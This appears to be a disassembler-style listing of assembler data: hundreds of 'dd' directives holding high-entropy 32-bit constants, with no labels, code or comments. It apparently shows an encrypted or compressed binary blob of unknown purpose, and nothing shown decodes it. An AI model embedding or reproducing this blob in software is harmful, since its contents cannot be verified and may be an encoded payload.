		dd 4A843201h, 4AD7ED57h, 0B43A0850h, 4D476858h,	0AC89307Bh
		dd 51AE3650h, 666C032Fh, 0D069208Ah, 7C095E5Bh,	242CD321h
		dd 0E90C057Dh, 0E418B552h, 8DA805E5h, 6E06450Fh, 0D7F7FA87h
		dd 49FA9708h, 0D5CF206h, 0BC0CBB3h, 25B766D5h, 93242DFh
		dd 510E4808h, 205F0168h, 0B4E90623h, 8A317AA1h,	8E3AAEFCh
		dd 16212C91h, 4812DC0Bh, 0CC147D83h, 4A8450Ch, 0EB804D60h
		dd 90CA640Fh, 39B4912h,	5FC9558Bh, 2D07DA33h, 0D1A2E3C9h
		dd 0A872AF0h, 2B53665Ah, 27B56D60h, 0E814B6F1h,	0C9C89D0Eh
		dd 0AC810ED6h, 9D9DA7D8h, 0EA10C765h, 40A3E313h, 6190F231h
		dd 0F8BF6E65h, 0FCAEC0D0h, 172E91Ch, 597CD51h, 4BCDA208h
		dd 7EB088ABh, 0BB2A6841h, 0A6AEC124h, 833949A2h, 85081668h
		dd 4832F7EBh, 0DF5C893Ah, 6E0A4AE9h, 509F31C1h,	44892E0Dh
		dd 0CBB88930h, 0A35EC6CDh, 0ED8EE40h, 0E97A4E2Dh, 0E90840D2h
		dd 0FC88444Fh, 0DED51E1Ch, 2779D61Eh, 17EBC2F9h, 69168240h
		dd 0A52BC189h, 0BCC17E0Eh, 0B600FBB1h, 0C33980BEh, 0D1EB9FE0h
		dd 0D2805493h, 3D284CB7h, 0E42D5BFAh, 65DF02C2h, 0BE5925D5h
		dd 74155092h, 0E0D009BBh, 52F022Ch, 5D7377E4h, 75736225h
		dd 38192A1Eh, 67A49CC1h, 0D2024303h, 0B35EA4FDh, 5E745D29h
		dd 0E0244052h, 0B854B777h, 0D6B264CFh, 0DA6830FAh, 7A00582Ah
		dd 0E373722Dh, 0C0D8016Bh, 902097DAh, 0D64FF768h, 0AFF6D8D0h
		dd 6DEB204Fh, 2186214Eh, 0A411286Eh, 0E285553Dh, 0B5A457EDh
		dd 4CF725FAh, 1D496263h, 0D97D2388h, 0F7366295h, 963471D5h
		dd 28D743ADh, 0DD9858E5h, 737DC580h, 9AF4A54Ah,	9B2D9F5h
		dd 0DE8870DDh, 25593240h, 0E6F5E630h, 0B379206Fh, 0BD5FF0B5h
		dd 7DEBA27Bh, 2A30228Dh, 9A015F16h, 5556ADA9h, 0E9B8A03Eh
		dd 76BA2BE1h, 3CFCD570h, 0E8C9BE5Fh, 0B9429261h, 970B0B71h
		dd 586E16D9h, 4B376811h, 0BFBBCC2Ah, 13725C49h,	0BE8C501h
		dd 0B34EE18h, 3A9814AFh, 310EF3BCh, 98ECE6F1h, 868130Eh
		dd 458935h, 0C30952F8h,	2ACD33B0h, 0F47A9755h, 0E953373h
		dd 2CC2C1B5h, 5CDEC90Dh, 0B063175Dh, 5B0CBF4Fh,	4E53460Bh
		dd 9D0203A4h, 5EF73113h, 42B74205h, 89C2E4CEh, 9D64E6F9h
		dd 83E66F23h, 0DFA09D25h, 9D677298h, 2834FF95h,	8FAA504Bh
		dd 44095C22h, 6C0BF1C8h, 0C058034Dh, 0D24A3362h, 0EF1EBF33h
		dd 0E504F76Fh, 23B3EB56h, 569304Bh, 1C0E2D29h, 0B4F80173h
		dd 30811707h, 71CF21BEh, 4CC93B84h, 0C1A139E0h,	134038DFh
		dd 12332426h, 32582E0Ah, 933F9489h, 72C96C6Dh, 0D69E336h
		dd 0E98412D6h, 30E8091Ch, 0E29B0B9Eh, 50A8435Bh, 0A63D630Bh
		dd 70007064h, 2AE6BF0Fh, 0D30F5990h, 0E44E9579h, 0F6FBD26Eh
		dd 5ADF485Dh, 0F3F14FB8h, 0ADFC041Ch, 8D27984Ch, 7425F8C6h
		dd 0A675770h, 39851E13h, 52A450BCh, 0F9B6D89Ah,	5BDC5F4Ch
		dd 21A51EFCh, 3F9048AEh, 347BB0A7h, 0AB1682C4h,	4646884Fh
		dd 514B078h, 847FDFBBh,	9FCAE86Dh, 0FDBDD0CBh, 7657E292h
		dd 0BD555815h, 0C316900h, 0A8E94D5Fh, 0AC34D76Ah, 3BD10473h
		dd 31B0E178h, 3DB541B8h, 0F199C10Bh, 0E420107Dh, 0EE8080B9h
		dd 0C7063862h, 40E07730h, 25804862h, 0FD6F1976h, 94C83031h
		dd 38AF9A3h, 44407BCCh,	5DCEFA5Fh, 0ED6207F1h, 4BB707D3h
		dd 813B485Dh, 433E0CEAh, 706CA29Fh, 0DF6C5881h,	2FEF1F50h
		dd 47896476h, 0E7F3AAD7h, 89FF5E27h, 83F0F4E9h,	2CDBBD05h
		dd 8BFD7638h, 96063F06h, 9E0B0C66h, 7C4F985Ch, 5AC683B9h
		dd 0C01547Ah, 7F1F1587h, 0F934BDE9h, 67BC2D68h,	67BFF634h
		dd 4F30AFEDh, 0EA31C0C8h, 80060605h, 0D93D0D9h,	0D30009FEh
		dd 41494F22h, 7F63E37Fh, 0C817E06h, 0AC853658h,	730694F8h
		dd 0CF013515h, 59088186h, 4A16F520h, 0A3CFCC9Eh, 4A4B782Ch
		dd 4784A609h, 901A3F35h, 0A8747CA5h, 0C208F549h, 0A3F03E8h
		dd 0E1AA7C25h, 0C2F1BD81h, 57A6AFDAh, 0E2E987A1h, 629651ECh
		dd 0F0FE161Ah, 0D025BF47h, 0C238E23Ch, 0F4FF26E9h, 46988B03h
		dd 0CFE680DFh, 36B91617h, 227EE938h, 98282C3Bh,	36DD4BBh
		dd 9F86913Ch, 0EFCC9251h, 95F45839h, 0B3E495BAh, 86657AF0h
		dd 0F2BA2910h, 0EE92937Fh, 0B3D7A67h, 0F87052C6h, 0F19A8377h
		dd 5D5E8A78h, 0E6DD5709h, 7FC505B8h, 80FB9AD5h,	0DC09B250h
		dd 59C33D4Ch, 68521FF9h, 3E5A32C7h, 0CFE8EFB4h,	3ABDB902h
		dd 0BB804A93h, 0B71501FEh, 1697CBE6h, 49EB0595h, 804BA532h
		dd 0F677EF70h, 0AEF86A5Fh
		dd 24E3680Ch, 0BCBA3EF7h, 54A999B7h, 2DE894F3h,	0E9DB784Bh
		dd 0DC1D4725h, 0D6B84418h, 5158802Dh, 0F67A3EC2h, 5B0884D1h
		dd 4ED4FBE2h, 29A1F813h, 0AFEB403Eh, 28901952h,	0A7E9DE0Ah
		dd 120232C2h, 0C10F1E54h, 0BE04F7C8h, 0F8819C85h, 9BAFBA43h
		dd 21258BD0h, 9842071h,	0B812C86Eh, 0B25B4072h,	0FA30921Ah
		dd 0F01C7D0Eh, 0EA0BE927h, 0EFB4185Bh, 0C9620041h, 52F70127h
		dd 54758EBAh, 0BFEE7550h, 327E6D1Dh, 3EA3CA80h,	48C10E24h
		dd 0EA02DBE2h, 75B6597Fh, 6AE96068h, 53B71670h,	9E55ADD5h
		dd 82917DCEh, 0E817F0D5h, 2A643E68h, 0FE9B0292h, 0A44F6BF2h
		dd 4A256818h, 4B536630h, 0BBA7846Eh, 1B34DE71h,	0E614E0EAh
		dd 423917F8h, 7C46A616h, 40BF3317h, 817B77B1h, 48D92FE7h
		dd 3F27DACEh, 12DA5367h, 0AE0BBF31h, 0B8DD20A6h, 90585AD6h
		dd 0BC9D2FE2h, 3E39D0E8h, 3516C700h, 11E4183h, 0B0FEC48h
		dd 317EA4A3h, 0E9135CF6h, 52B3ECFCh, 7BBD3FE1h,	0A1808DFCh
		dd 0F70B1A55h, 0E94BD309h, 9DF6F81Bh, 0C54FBCD1h, 2BCACDE8h
		dd 0CAF68100h, 0D13B5A3Dh, 4A5DE658h, 0F892E7ACh, 7DA712D9h
		dd 0C7C4ABACh, 0D001125Fh, 2F3C6FC0h, 0B75A7FECh, 306150A6h
		dd 0E7A3F897h, 0DD68C23Bh, 9D048F68h, 0C6DB682Fh, 6F42A08Fh
		dd 695296D4h, 827C595Fh, 4DD744AEh, 0A0EF9C0h, 216BD509h
		dd 41A1F4EAh, 0B431FAE9h, 0D4EE4299h, 0B0E0E07Dh, 7761EEE6h
		dd 8C483940h, 0B2029A30h, 0AC78971Ah, 7F84C70Fh, 3949FF55h
		dd 0F1A7FADh, 0FF9FB160h, 5885880h, 0F65966ECh,	328EB2D4h
		dd 0FE8A6A80h, 3AEE3B7Ah, 85C529FEh, 0BDB50EE9h, 0DB0986CEh
		dd 0F2B22F10h, 0E1206178h, 0D0594F3Bh, 9307C545h, 0B601648h
		dd 78096B8Dh, 693B0194h, 0FE9E8AFh, 0D8C96F32h,	9B6BBA41h
		dd 8BC1E32Eh, 7592105Ch, 0FCCB5B73h, 7CFC72A6h,	0FD2F4877h
		dd 3A99525Fh, 81687EDh,	297F8DFh, 0E91ACB4Bh, 0C88BDFAAh
		dd 690D655Fh, 36D7A2DDh, 8860C8FEh, 0DBD28355h,	7C57DC4Ah
		dd 829F882Dh, 0F02BA01h, 23F7D34h, 7F463FC7h, 0E9E13363h
		dd 1383C3Ah, 0CC88A3B1h, 0BFCC8059h, 0A96EDFEh,	2EC8F3B4h
		dd 6409F1B2h, 6650D499h, 537EADB4h, 48A0114Eh, 2F469B5Dh
		dd 52044A58h, 46E942B6h, 85E06D94h, 36503028h, 0A216630Ch
		dd 0ABC6715Fh, 199A0112h, 6DE9147Ch, 0C13581A9h, 0D65EC4D0h
		dd 0E3F1C17Fh, 0EA1B81F9h, 0B25A7942h, 0AA98042Ah, 8BFE133Bh
		dd 406C42ADh, 0F7B40DABh, 8A157F2Dh, 0BA169924h, 0B8DA97F4h
		dd 0BE01B7F6h, 3872685Bh, 0D943DF6Dh, 0E91C8043h, 6385229h
		dd 1183C9C6h, 0A4500295h, 63196AC7h, 2D5ADEC4h,	7B7630A3h
		dd 0E4C35CE7h, 0F1185A51h, 0E0B53B4Eh, 182F13F1h, 86F5180Fh
		dd 53564216h, 3609BABCh, 0D2095CE2h, 0F3B7297Ah, 80B6175Ch
		dd 0B29F2DEFh, 1215DA3Dh, 2ABF05C3h, 7811102Eh,	77E5B800h
		dd 392D2C85h, 43EC3C01h, 81D62005h, 97C39280h, 0E9759B6Dh
		dd 0DE48962Dh, 8660C241h, 3C823D7Eh, 0B12CD168h, 0B4C472A5h
		dd 0F2A39701h, 0A816AD5h, 0F5AC6A29h, 0B24B0CD0h, 0BE93936Dh
		dd 29B1136Ch, 0B87A08C3h, 0A0F74A09h, 609A1316h, 4A019896h
		dd 21B78D8Fh, 52853E2Dh, 4A469EEFh, 6D5C96B2h, 6961FB5Fh
		dd 87FC0B13h, 4B3A9C79h, 2F5B4C02h, 283F0F09h, 85C59C11h
		dd 2685546h, 0D72A0DEBh, 4CAD25Dh, 7977C5EBh, 0E91D8113h
		dd 0FA3425ECh, 8B0BFEFCh, 0C7681B6Bh, 0B7FD7009h, 4D88A65Bh
		dd 1AE90950h, 0FB2F6FF2h, 3A4FE5Fh, 0C5ADF164h,	229FCDF9h
		dd 732409E1h, 0BC5F0288h, 0E7157E7h, 360B3444h,	1EF73AABh
		dd 0B9E92E1Ah, 0EC6884F0h, 2E31FA65h, 11B46FD8h, 0D2A3FF8Eh
		dd 9540BBC2h, 99008057h, 95028C6Fh, 0A812C6F4h,	3BBD52C0h
		dd 28CC265Fh, 0D371AB3h, 9A84CBDFh, 0A1D17F04h,	93CD6869h
		dd 0CD8DC5AAh, 84B4FA59h, 81B440F6h, 6A14CF01h,	0DFF72E6Dh
		dd 7210B6Fh, 70AC3B00h,	5D950AE9h, 7ACE7E21h, 0C7BE819Eh
		dd 29DF54FDh, 0FC3943Ah, 0FE4B5E08h, 5669D779h,	85B023Ah
		dd 33E031D5h, 0A0977533h, 0A2C1185h, 4759755h, 0AF9138D5h
		dd 4BCDDF6h, 0AAF05CA7h, 0C2495B9Dh, 6C461C19h,	43565E27h
		dd 4C0ADE0h, 50067586h,	73E3A703h, 0C2B602Ah, 45B166EEh
		dd 5523148h, 0B034F405h, 2D1382EBh, 49D20789h, 4A89D525h
		dd 0E26882EAh, 8073E20Ch, 2A57C36Fh, 687B7F6Ah,	0B081ECBh
		dd 73264CE9h, 71F2B158h, 0F24B5364h, 91D6E5A8h,	7894EF92h
		dd 67688272h, 0D1090B10h, 0D0BD42E1h, 0F8B54228h, 1D33024Ah
		dd 0C2E90E86h, 5C0A68DCh, 203EB629h, 31769570h,	0E5E38850h
		dd 4BDCED6Fh, 40279B2Ch, 0D74CF7F6h, 0B792014h,	5C7BE66h
		dd 231889D5h, 175EF752h, 56064627h, 8B52BAB6h, 3CA44301h
		dd 0B66E33CEh, 4E293D60h, 0F52CB049h, 3AC06394h, 3D986BB1h
		dd 51D14801h, 61A50841h, 5D1FA45Fh, 0A4E054D4h,	0D0091742h
		dd 447DB405h, 1A61CEFEh, 1266840Ch, 73B3EB00h, 180FE530h
		dd 40A90A87h, 291CFC0Eh, 0DEC91F17h, 0F3C7845Bh, 0B417FA12h
		dd 5523AB0h, 307E6E68h,	84A8F45Ah, 29CC585Bh, 0CF36002Ch
		dd 0EB62BE7Fh, 16BFC68h, 5F210952h, 90B4450h, 5F136941h
		dd 0B4EAA4A2h, 69535709h, 0C2DE7425h, 680166B7h, 323B57D6h
		dd 0C0D42973h, 5541D112h, 3CBFF9C6h, 16DEE120h,	0E9019938h
		dd 7D0841AEh, 6B881582h, 0F65900F2h, 27B252D5h,	34CA0180h
		dd 0E2C0C2FEh, 0D4D2F505h, 0E93E08EAh, 53F4CA7Dh, 0BFF0404Dh
		dd 583A8425h, 63ED2410h, 0AA75A512h, 0FE08DADEh, 5DB70E41h
		dd 0FE66FD07h, 8C15AA54h, 0B05F684Bh, 56900BACh, 21B224C0h
		dd 26E9CA30h, 40AC9098h, 534431C0h, 9DCBFABFh, 4C39C83h
		dd 6D22A6E1h, 0F9EA2D2Fh, 10EF6A89h, 0BA660A5Ch, 0F20BB002h
		dd 96185D60h, 401FC571h, 58AC21C2h, 42C8A112h, 0F00A177Dh
		dd 0CEA6C85Eh, 573002FBh, 1E0753D6h, 4FD2EA08h,	0A5127B64h
		dd 0FE3843DAh, 7C48A40Fh, 0C35BC502h, 0F6CD8B4Ch, 0BE95889h
		dd 2B47B05Ah, 72F483FAh, 7105DEC2h, 0A2098B90h,	68824877h
		dd 513E4953h, 981B5F83h, 689774AEh, 596AE97Dh, 0B04E95DCh
		dd 0B54127F2h, 4D8F073Ch, 0FB310144h, 61086450h, 673F950Ch
		dd 0E724C83Fh, 0E6ABE260h, 963B6150h, 0ABA0258h, 0A4F5A37Fh
		dd 0E4EBC661h, 874F143Eh, 945527ABh, 0FEE81359h, 4E72A010h
		dd 0A09201CBh, 3D4BCBF6h, 29A7D049h, 0BD4DD0B2h, 4B884565h
		dd 0D8010085h, 30378D05h, 3B5B322Ch, 28CFDE49h,	0AEDF2F81h
		dd 79CD0D99h, 240DD09Ah, 0DCA79015h, 0E857649Ah, 0C7320101h
		dd 749BBF61h, 163A17C5h, 206B0106h, 0E5163859h,	0B440D6CFh
		dd 0EDC045AAh, 61BC19F3h, 6778BD9Ch, 986E8520h,	661C09AFh
		dd 0CC8943BDh, 63213D6h, 0FAF7CA03h, 4E99F835h,	5730AB42h
		dd 9DCC90E9h, 0C7FB38E8h, 0A4960F82h, 0E9AB9F8Eh, 2A79948Fh
		dd 0D095D019h, 455B5BCAh, 0AE771130h, 0C4CD985Dh, 8AF4F7AFh
		dd 52719D44h, 4295E28Dh, 2838BF2Bh, 83E91652h, 88E4618h
		dd 0F207859h, 50BBE666h, 60F8C8EDh, 0F1811393h,	89FC0A73h
		dd 94251998h, 80166EC8h, 2C233FC6h, 417084Ch, 0A5416DE9h
		dd 3E7EBAFBh, 505DB0B8h, 7C3693C3h, 0CD2A4BE9h,	0B6D08845h
		dd 82F22E3Eh, 3B3587Ah,	6670880h, 2840A12h, 66294E9Dh
		dd 0DA4852E9h, 440A68BBh, 0E8501093h, 9882FD27h, 9C5F8540h
		dd 579CA29Dh, 0D202D132h
		dd 4E7564F0h, 94D020D9h, 0C64DA295h, 4A8705DCh,	80879E8Dh
		dd 0F16C2568h, 0D1955B65h, 3BEA6D6h, 392C386Ah,	1FC2F6E0h
		dd 514D7B24h, 0AB454B1Fh, 25C7214Ah, 5469E992h,	0E5C10204h
		dd 19634506h, 1F550EF0h, 7354A5FEh, 6509E2C4h, 0FF355A0Dh
		dd 51C4DA8Fh, 8A37FAEFh, 0DBA81295h, 0EEB76258h, 0CAD67949h
		dd 6994EF5Bh, 0D10FADAAh, 160A4FA1h, 3D039EFAh,	0D638428Fh
		dd 2B0A8206h, 0E4EBFF98h, 17FCF203h, 2564645h, 0EE4C6441h
		dd 7A625D62h, 97E90703h, 68518705h, 16F22DBCh, 0AD7B9641h
		dd 0EFA805Fh, 410113CEh, 0A24A14Ch, 32E375A8h, 348C2C22h
		dd 99BCDA38h, 8E6EA0B1h, 411FEA1Dh, 0D529EC0Fh,	9C964C70h
		dd 42F8508Ah, 0C8BED6BAh, 9E034524h, 23F8B23h, 591008A1h
		dd 69707283h, 521171F0h, 8A7820E7h, 9280C2Dh, 5088021Ch
		dd 2B691475h, 89F4F93Ah, 96FD1A03h, 0C58980ECh,	49362F0Ch
		dd 76012E75h, 0F19220FFh, 0C2FF3504h, 0DFCB27F9h, 0E91B696Eh
		dd 0A980B63Bh, 0AA756BCh, 4950945Dh, 5029B15h, 31DA6D8Ch
		dd 0A7AC79E1h, 0D5D7E57h, 6B408FA1h, 0FF964AEDh, 3F687660h
		dd 1C57D635h, 34F52F90h, 4452536Ah, 501B4210h, 1F26D2C3h
		dd 2A0B399Fh, 0E2EE2ABBh, 7D5DC50Bh, 216F9E5h, 0E9C428A3h
		dd 96AEE87Bh, 0ADC03925h, 9B551068h, 4B4F2C3Bh,	9C2A8255h
		dd 685900FBh, 98970208h, 50B45A2h, 4EE906A4h, 4FFCE752h
		dd 276856D0h, 0BCE7910Eh, 0FC1B3C16h, 38E9B1A2h, 0B31DF37Ch
		dd 7965CBBEh, 680F55C4h, 53B53AA0h, 2CC601EFh, 70746119h
		dd 91B998EBh, 0A9DDCD01h, 656829C4h, 0BEC34073h, 2E3F563Fh
		dd 0CC0F4F61h, 0C024A968h, 4E31E980h, 0D6298C3Ch, 5EAA0795h
		dd 0DDE326E2h, 442754F9h, 7AD5FD0Eh, 0AB7F1CAFh, 0ADC1E59Eh
		dd 98510FDh, 5A5480DCh,	1FD1D3BFh, 0A03ED2EAh, 0EB3280ADh
		dd 32C0666h, 74F95033h,	803728ADh, 5153C5FEh, 0B32102B5h
		dd 72B1E993h, 54099FEh,	9EE482Eh, 19D26873h, 553064E6h
		dd 50582AB1h, 2763F6B8h, 0A9D55242h, 757057D5h,	0BB55D17Ah
		dd 551BFCC3h, 80160ADAh, 0BA932AC7h, 0B850B517h, 2BBB534Fh
		dd 6FA24B23h, 1CDD882Fh, 38F4BDBAh, 0E78BC17Ah,	0A317F86Eh
		dd 0B3AEDD56h, 0DAF29339h, 0F454B917h, 69B6449Dh, 0ED1BD72Dh
		dd 98F805E2h, 1C006648h, 572FA9B2h, 7F505839h, 53CA878Eh
		dd 74D808E1h, 0B668402Fh, 3CE499D5h, 0E55F379Fh, 8A065D6h
		dd 0D4F0CB0h, 565C6F80h, 5EB40B68h, 7D74997h, 0B1046709h
		dd 2DE201C0h, 1BFE3319h, 0A8B8F940h, 4AB72140h,	0D7B398E5h
		dd 3758816Ch, 0DA08253Fh, 8A879CF9h, 83B6A1C6h,	63F75C3Eh
		dd 4261AC00h, 8068368Eh, 0A33DC469h, 0F021047Ch, 0A44B77F3h
		dd 7561C7DCh, 49C96820h, 55C63E78h, 50E1A65h, 9966218Eh
		dd 953D5D41h, 0BB84BA4Ah, 0B5B32C27h, 80140E90h, 0A91406F4h
		dd 44297A17h, 0AF03E248h, 552DABEDh, 0CD1FE0F3h, 66A81C96h
		dd 0B2CCFD5Fh, 8239D413h, 334FE525h, 5E7C005Dh,	6829077Ch
		dd 270830C1h, 38AB9657h, 0ED5E2155h, 43D0E5ECh,	9FC79BE9h
		dd 340DFD4h, 982F7C31h,	290D0217h, 0BB532515h, 3B20BE82h
		dd 0EC8A11C3h, 4B096801h, 405BCD6Fh, 0C60C37F0h, 4EDB6948h
		dd 7A295C0Bh, 5ABA9030h, 0DC99F57Fh, 0FC9FD849h, 0F48B4922h
		dd 105C639Bh, 5D42D473h, 4CE91281h, 864AFEF1h, 0A427547Dh
		dd 4142B75Eh, 5155F050h, 0E8F535ECh, 0E8C056D9h, 5A4F4482h
		dd 28CD00BEh, 0EE312C22h, 0C29DDCE9h, 0CEB4D53Dh, 2DA16820h
		dd 10D4DE01h, 8939820Ah, 5AAF046Fh, 307FBAADh, 0B90E5F5Eh
		dd 0EA162FD2h, 5784097Ch, 6EF37DBEh, 8F1610F6h,	96ADB8DEh
		dd 6C60D521h, 81C3252Fh, 1264010Fh, 2F4BF4CDh, 884C6CB0h
		dd 81E6B098h, 0B564379Ch, 0FA091DD1h, 250F67Ch,	3AF62CECh
		dd 25932482h, 0B6A4A74h, 19E0608h, 0C68004B6h, 286B7128h
		dd 685300E0h, 37E155F0h, 0E3C10B5Bh, 24834B03h,	74965E22h
		dd 181D4225h, 2D443C62h, 51EA6999h, 9E0AFE08h, 19DDA754h
		dd 0C87F5F44h, 524138C8h, 5C30FB65h, 2E7C0168h,	0E959720Ah
		dd 0F0092ED0h, 0E58B5F48h, 0C62EBAFDh, 0C5475EB0h, 9A8BBAE1h
		dd 0D0882462h, 0E9A882F5h, 4F9057CFh, 0B511183h, 0A4103AC1h
		dd 56E90B08h, 443DA90h,	26173FC7h, 0DF44806Ah, 2C06A43Dh
		dd 99E9EF01h, 36FC9799h, 9DC6DD52h, 0A55AD327h,	0A991C841h
		dd 96DDFE29h, 0FA80F934h, 60F1E6DDh, 285A06BFh,	0F5E059CEh
		dd 0CAA1A1ACh, 1BF4280h, 0F6E3C1C3h, 0F0EB413Dh, 0D2E9F35Eh
		dd 69561318h, 0F2B505E8h, 0F8B0ADh, 737D32DAh, 36D5F681h
		dd 452AE02Ch, 0DBA41612h, 1072B7EEh, 210E5B6Fh,	2909F81Fh
		dd 163C43Eh, 0AE95A08h,	0FB213574h, 26A6BEB9h, 0A2EF1253h
		dd 9A7AC9B3h, 0D15D6A27h, 204E0330h, 9DF97B89h,	0F81F544Ch
		dd 5CD9A284h, 8CD9254Bh, 0F2ADF549h, 6E8B2A08h,	4EAD2010h
		dd 9873A9ACh, 6CCE00FFh, 0CA090BA1h, 0F2038159h, 5AD05EA4h
		dd 66066929h, 5F2550FBh, 5E972B9Eh, 50918861h, 1D760128h
		dd 0BD373B00h, 17AF4A47h, 0BEE630E9h, 0E2805B20h, 0F72D5D79h
		dd 4A10DDC0h, 0D6BFBB32h, 86F77080h, 0BDF025BFh, 0B79D98D6h
		dd 68845095h, 0B5A20D19h, 346BFD78h, 0BCCB269Dh, 0E641500Ah
		dd 9A019537h, 1066C43h,	6E94E901h, 692E8022h, 88295D34h
		dd 0FA2CEF5Bh, 5D079DD7h, 70ED6242h, 25366575h,	604999F6h
		dd 38494AB4h, 5A85825h,	2D2CA406h, 0C4F66A8Eh, 0FCDB34C6h
		dd 25319C4Dh, 0B626D5Dh, 0A3DDB0E9h, 12120A86h,	0E22B563Bh
		dd 0AD48DF29h, 7BBD0120h, 3F7F8E60h, 0FF177A4h,	12503B41h
		dd 0EBA28604h, 5B6526CCh, 66393C5h, 0E269B7C2h,	0D98F405Fh
		dd 0DD5BF71Ah, 825F35E8h, 46C883FDh, 4C5B5668h,	1CB6DECCh
		dd 38AB0B5h, 0B1515AF0h, 0E9C8C00Bh, 0D5052B09h, 2C4D7501h
		dd 6FE63B2Bh, 658AE982h, 48B54DC4h, 80192D74h, 0CAEED828h
		dd 0EFD0934Ah, 7B6116BBh, 8E90301Eh, 0D2055C16h, 0B0A3877h
		dd 72DC801h, 0F5E97730h, 70F39D07h, 9218C908h, 5E9A8834h
		dd 0BA1350A5h, 0F06B1EB1h, 0B00AD92h, 24BD6952h, 28289F25h
		dd 3A1FD31h, 650DA1E5h,	0A0C3E901h, 12BAD402h, 0E1431D17h
		dd 312E21CAh, 329CBF2Eh, 0A22C22CEh, 26787D6Fh,	685940BFh
		dd 0E9CCBF1Bh, 3112190Bh, 4957D601h, 0B6D48CD5h, 0D48D1297h
		dd 0BAD7C1ECh, 0D4793D60h, 843B25D5h, 0DCAA5819h, 0FC9FA01Bh
		dd 0B2E9F805h, 0B6034ABCh, 0C9CE3023h, 0FE23E74Ah, 0F6C38606h
		dd 0FE7608D0h, 33A5E930h, 4A986850h, 53148C13h,	0EB95A4BFh
		dd 504F90BEh, 900B6856h, 0B2B6F73h, 9584D0B9h, 0A7111F55h
		dd 7F1FBAF7h, 0E918C69Eh, 0C28BA598h, 0C4741460h, 532EA545h
		dd 4A3F10DCh, 96CF9F0h,	2913C05Dh, 0FD2F42D7h, 0FFB1074Ch
		dd 24B5664Bh, 424DD929h, 92DFD8A1h, 0FB43C1C2h,	0B605843Dh
		dd 8716D448h, 1E173179h, 5FB2A0Fh, 0E7FCC32Ah, 7868177Fh
		dd 92A145BBh, 0EFC84EA7h, 45244F8Fh, 1B44FA7Fh,	53BA6289h
		dd 5F51AC30h, 9D0244C8h, 0D5485FC4h, 55A3690Ah,	60164044h
		dd 0D2FC10DBh, 84C484h,	30FEB450h, 11584CE7h, 0EEC04F07h
		dd 3E63006h, 0D773CE80h, 1091C648h, 502E881h, 6F0D3F21h
		dd 0DCBFA604h, 0B34F684Dh, 0F9AAB484h, 0F60B93DFh, 7F2A92FCh
		dd 8105F485h, 727A9097h, 0FEE9C282h, 3C53467Bh,	95704968h
		dd 0E9700376h, 0CB8349ABh
		dd 0FC840h, 0B924CF1Bh,	5576153Eh, 8982F595h, 74747F60h
		dd 0DD1975Eh, 0D4549A05h, 0F772F0C2h, 0CFA4ABFBh, 45165F2Dh
		dd 33D749Fh, 1A9443DAh,	58A0E2FBh, 0F77B6346h, 0DD5289BDh
		dd 4C6ED3A0h, 892E8CECh, 2F0890D6h, 98842F1Ch, 0DAA1BFEDh
		dd 0D0059815h, 3DFE2705h, 0AEB13092h, 0F6E37760h, 0F6DC1466h
		dd 78E8B709h, 0B4204067h, 0EEE91620h, 0F27E2476h, 41D58427h
		dd 0DA315902h, 0A0CECCFDh, 4A6BA802h, 0DF0101DCh, 72350C2Fh
		dd 0A00841FAh, 1490141Ch, 6809C3BCh, 0E2B676E7h, 5F00A64Eh
		dd 0C102E5C1h, 13F7F9FEh, 2E9131FCh, 0D82AA55Ah, 0CE584FFEh
		dd 85D14E67h, 287F6CD8h, 24EECCFh, 0B4B09742h, 92895F34h
		dd 0EFFD202Bh, 25C0828Bh, 886011F0h, 0AB4CBA6Bh, 421412A1h
		dd 2A7BD8B7h, 2EA826DAh, 42475BDDh, 37FE5AFCh, 0C28D56E9h
		dd 1CFD738Dh, 4CBE98EEh, 0E381C8CDh, 3ACF03D4h,	0F63AB7E1h
		dd 0CBF4AA8h, 5D1C01D4h, 0BE605391h, 0CE854A0h,	533AE935h
		dd 0EA01D156h, 840FD039h, 0B645875h, 0DB6925E9h, 0DAE7B3D5h
		dd 0BF3F68F4h, 0CE031793h, 813FBD25h, 0C986C49h, 3DDEC06Fh
		dd 31043517h, 0EF215EF5h, 93AF34AEh, 0B1DCC185h, 0F374C23Bh
		dd 5D22E904h, 0BFA8EFAh, 30793E68h, 80B1D256h, 0A9EE455Dh
		dd 211E3865h, 0BBD112BBh, 0E909C8DFh, 18F79D1Fh, 9E74B717h
		dd 0D87D166Dh, 0FCB78F82h, 84684165h, 0C4962838h, 0E90464FAh
		dd 591D2AAh, 5B11E6FDh,	0CC61D087h, 2A4FEC68h, 49FB21FEh
		dd 0D6D379C7h, 28102EA2h, 0E9066114h, 2CA74A76h, 68C189F1h
		dd 934C4939h, 0AEEABFB9h, 0A40D8EDFh, 73C20AB0h, 4FCD5656h
		dd 0EF85EA04h, 0E7484D8Fh, 0F405F000h, 5E13186Bh, 68535103h
		dd 923A2B8Bh, 2FAA5F5Bh, 84851783h, 7DF2BAC4h, 17F668A0h
		dd 60A6FB99h, 19AFEE1Dh, 9FA82AFh, 7D560977h, 8040B4D3h
		dd 5A62585Ah, 1974A229h, 5B3E4E32h, 5334EA3Ah, 9B5EAD82h
		dd 43C4C494h, 79CA30EAh, 3500A69h, 8080DCB9h, 534705C1h
		dd 0FB309BB3h, 0E9C4D790h, 91615B77h, 0C2762ED3h, 248D95Fh
		dd 3A630118h, 827165DDh, 5AD1F0Ah, 0BD65305Dh, 5BE81464h
		dd 973C847h, 0D136AB77h, 50218921h, 3A09C9B7h, 0DBF8A71Fh
		dd 0C2F34BBh, 68F94AC3h, 9602124h, 0C0FFA3C5h, 55E9419Fh
		dd 21AF835Bh, 6E9E76D0h, 0BDD08BF9h, 4603EF00h,	2ACF816Fh
		dd 67FD0D1Dh, 0FEBF782h, 3819E0FFh, 0D94AB54Fh,	80A5E275h
		dd 0E090B513h, 2D5B3AFEh, 0FF064A93h, 7171984h,	0BFF694FBh
		dd 48FCB121h, 0B0268C7Fh, 5BEC140h, 76BC6808h, 62A28731h
		dd 0A99A1EBFh, 292D2740h, 4D4B3A2Ch, 5406A200h,	5CF2E918h
		dd 0DF81E773h, 8F3EAC71h, 4B02D222h, 6FA1034Ch,	460FF153h
		dd 0ACCEEB70h, 255D9685h, 0FB5CDC0h, 5E62052Ch,	820B3FA4h
		dd 114D5E1h, 9C6E1CF8h,	0D5DD0A18h, 0B94BB310h,	0BFEC04B3h
		dd 85AAD2E8h, 10B0B6BDh, 12C962Ah, 6CC10839h, 433B6805h
		dd 0CCABE764h, 0EFEE8AF0h, 41E92808h, 65B50170h, 7A1ECD80h
		dd 2249F60Bh, 0D9076EC9h, 0C09A9374h, 1488BAD5h, 66267924h
